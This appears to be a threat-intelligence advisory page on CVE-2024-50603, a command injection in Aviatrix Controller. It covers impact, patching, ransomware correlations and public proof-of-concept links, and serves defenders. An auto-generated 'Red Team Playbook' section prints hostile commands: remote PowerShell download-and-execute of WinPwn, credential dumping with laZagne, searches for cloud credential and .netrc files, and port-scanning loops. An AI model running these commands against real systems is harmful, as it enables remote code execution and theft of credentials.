CVE-2024-50603
Overview
This vulnerability is a command injection flaw in the Aviatrix Controller's API handling. It arises from improper sanitization of shell metacharacters in user-supplied input parameters "cloud_type" and "src_cloud_type" within specific API endpoints. The affected components are the REST API endpoints responsible for flightpath destination instance listing and connection testing in Aviatrix Controller versions prior to 7.1.4191 and 7.2.x before 7.2.4996.
Vulnerability Description
An issue was discovered in Aviatrix Controller before 7.1.4191 and 7.2.x before 7.2.4996. Due to the improper neutralization of special elements used in an OS command, an unauthenticated attacker is able to execute arbitrary code. Shell metacharacters can be sent to /v1/api in cloud_type for list_flightpath_destination_instances, or src_cloud_type for flightpath_connection_test.
Impact
An unauthenticated attacker can execute arbitrary OS commands on the Aviatrix Controller server, leading to full system compromise. This includes the ability to read sensitive files, modify configurations, or deploy persistent malware. Exploitation requires only network access to the API endpoint and no user interaction or credentials. The resulting control over the system can facilitate data breaches, disruption of network management, and lateral movement within the affected environment.
Solution
Apply the security updates provided by Aviatrix Controller version 7.1.4191 or later, or 7.2.4996 or later, as detailed in the Aviatrix PSIRT advisory available at https://docs.aviatrix.com/documentation/latest/release-notices/psirt-advisories/psirt-advisories.html#remote-code-execution-vulnerability-in-aviatrix-controllers. Follow the vendor’s patching instructions to upgrade affected instances. No alternative workarounds are documented in the advisory.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Correlated Groups
Correlations are established through analysis of shared tools, tactics, and infrastructure between threat groups and vulnerabilities. They do not represent direct confirmation of exploitation.
| Group | Confidence | Victims | Source |
|---|---|---|---|
|
akira
|
LOW | 1529 | Chain Inference |
|
ransomhub
|
LOW | 842 | Chain Inference |
|
sinobi
|
LOW | 274 | Chain Inference |
|
frag
|
LOW | 30 | Chain Inference |
|
0apt
|
LOW | — | Chain Inference |
Full Analysis
A critical vulnerability has been identified in the Aviatrix Controller, specifically affecting versions prior to 7.1.4191 and 7.2.x before 7.2.4996. This security flaw arises from improper handling of special characters in operating system commands, allowing an unauthenticated attacker to execute arbitrary code. The vulnerability is particularly concerning as it can be exploited through API endpoints, such as /v1/api, where parameters like cloud_type and src_cloud_type are processed without adequate sanitization. This oversight in input validation creates a pathway for attackers to inject shell metacharacters, leading to potential command execution on the underlying system.
The attack vectors for this vulnerability are straightforward yet alarming. By crafting a malicious request to the affected API endpoints, an attacker can manipulate the input parameters to include shell metacharacters. This could lead to the execution of arbitrary commands on the server hosting the Aviatrix Controller. The exploitation process does not require authentication, significantly lowering the barrier for potential attackers. Scenarios could range from a simple command execution to more complex attacks that could compromise the entire system, allowing attackers to gain unauthorized access, exfiltrate sensitive data, or disrupt services.
The real-world implications of this vulnerability are severe, particularly for organizations that rely on the Aviatrix Controller for managing their cloud networking. Given the high CVSS score of 9.8, the risk associated with this flaw is categorized as critical. An attacker successfully exploiting this vulnerability could lead to significant business disruptions, data breaches, and financial losses. The potential for unauthorized access to cloud resources could also result in compliance violations, especially for organizations in regulated industries. The fallout from such an incident could damage an organization’s reputation and erode customer trust, compounding the financial impact.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. First, immediate patching of the Aviatrix Controller to the latest versions is essential to close the vulnerability. Regular vulnerability assessments and penetration testing should be conducted to identify any potential weaknesses in the system. Additionally, organizations should employ web application firewalls (WAFs) to filter and monitor HTTP requests, blocking any attempts to exploit the API endpoints. Implementing strict input validation and sanitization measures on all API inputs can further reduce the risk of command injection attacks. Monitoring logs for unusual activity and employing intrusion detection systems (IDS) can also help in identifying and responding to potential exploitation attempts.
In conclusion, the vulnerability in the Aviatrix Controller represents a significant threat to organizations utilizing this product for cloud networking. The ease of exploitation, combined with the potential for severe consequences, underscores the necessity for immediate action. By prioritizing patch management, enhancing input validation, and employing robust monitoring strategies, organizations can effectively mitigate the risks associated with this critical vulnerability and protect their cloud infrastructure from malicious actors.
Recent updates to CVE-2024-50603 include an official elevation of its CVSS score to the maximum 10.0, reflecting a refined understanding of its exploitability and impact severity. This adjustment underscores the vulnerability’s critical nature, confirming that unauthenticated attackers can execute arbitrary code with high reliability and minimal prerequisites. Additionally, CSURFACE threat intelligence has identified a new ransomware group linked to this vulnerability, expanding the known adversary landscape to five distinct actors. While no confirmed ransomware campaigns have yet been attributed, the broadened association signals increasing interest from financially motivated threat actors. Concurrently, new proof-of-concept exploits have emerged publicly, enhancing the accessibility of attack methods for less sophisticated actors and potentially accelerating exploitation attempts. Our telemetry indicates a stable but persistent exploitation trend, suggesting that threat actors continue to probe and leverage this vulnerability in targeted operations. Collectively, these developments elevate the threat level, emphasizing the urgency for defenders to maintain heightened vigilance. The convergence of a perfect CVSS score, expanding ransomware group interest, and publicly available exploit code significantly increases the risk profile, making CVE-2024-50603 a top priority in cloud infrastructure security monitoring.
Update 2 — June 08, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation activity targeting CVE-2024-50603, accompanied by the emergence of new proof-of-concept exploits on public repositories. Although the CVSS score was slightly adjusted downward to 9.8, this refinement reflects a more precise risk calibration rather than a diminished threat. Our telemetry indicates that adversaries are increasingly leveraging unauthenticated command injection vectors within Aviatrix Controller environments, intensifying the potential for widespread compromise. The stable EPSS score, combined with the absence of rapid upward trends, suggests persistent but controlled exploitation momentum rather than explosive growth. Notably, while ransomware groups previously linked to this vulnerability remain unconfirmed in active campaigns, their continued monitoring is warranted given the vulnerability’s criticality and ease of exploitation. This evolving landscape underscores a sustained high-risk posture, reinforcing the imperative for defenders to prioritize detection and response capabilities against this vulnerability.
Update 3 — June 16, 2026
CSURFACE threat intelligence has identified a discernible uptick in exploitation attempts targeting CVE-2024-50603, reflected by a moderate increase in detection activity across our sensors. This trend aligns with a rising EPSS score, indicating growing attacker interest and a slight expansion in the vulnerability’s exploitation footprint. Concurrently, new proof-of-concept exploits have surfaced publicly, potentially lowering the barrier for adversaries to operationalize attacks. Although ransomware groups previously linked to this vulnerability have not yet demonstrated confirmed active campaigns, their continued presence in related threat actor clusters sustains a latent risk of future ransomware deployment leveraging this flaw. The evolving exploitation landscape underscores an elevated threat posture that demands heightened vigilance. While the increase does not yet signify an explosive surge, the persistence and gradual intensification of activity elevate the urgency for defenders to maintain robust detection and response measures. Overall, the risk level for CVE-2024-50603 has shifted from stable to moderately heightened, reflecting the compound effect of increased exploitation attempts and broader availability of attack tools.
Update 4 — July 06, 2026
CSURFACE threat intelligence has detected a slight increase in exploitation attempts targeting CVE-2024-50603, accompanied by the emergence of additional publicly available proof-of-concept exploits. While the overall exploitation trend remains stable, this subtle uptick signals sustained attacker interest and ongoing reconnaissance efforts. The presence of multiple proof-of-concept tools lowers the barrier for adversaries to weaponize this vulnerability, potentially accelerating exploitation timelines. Although there is no current evidence linking this vulnerability to active ransomware campaigns, the association of known ransomware groups with related attack vectors continues to warrant close monitoring. This development modestly elevates the threat level from moderately heightened to a cautiously increased risk, emphasizing the need for defenders to maintain vigilant detection capabilities and proactive threat hunting to identify early indicators of compromise.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Aviatrix | Controller | All |
cpe:2.3:a:aviatrix:controller:*:*:*:*:*:*:*:*
|
|
|
Aviatrix | Controller | All |
cpe:2.3:a:aviatrix:controller:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
th3gokul/CVE-2024-50603
CVE-2024-50603: Aviatrix Controller Unauthenticated Command Injection
|
th3gokul | 17 | 5 | 2025-01-12 | View |
|
newlinesec/CVE-2024-50603
CVE-2024-50603-nuclei-poc
|
newlinesec | 7 | 2 | 2025-01-08 | View |
Ransomware Groups 5
Threat Feed
16 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability (30 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability (274 known victims)
Ransomware group known to exploit this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
48%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-50603 |
| docs.aviatrix.com |
GitHub CVE
|
https://docs.aviatrix.com/documentation/latest/network-security/index.html |
| docs.aviatrix.com |
GitHub CVE
|
https://docs.aviatrix.com/documentation/latest/release-notices/psirt-advisories/psirt-advisories.html?expand=true#remote-code-execution-vulnerability-in-aviatrix-controllers |
| securing.pl |
GitHub CVE
|
https://www.securing.pl/en/cve-2024-50603-aviatrix-network-controller-command-injection-vulnerability/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-50603 |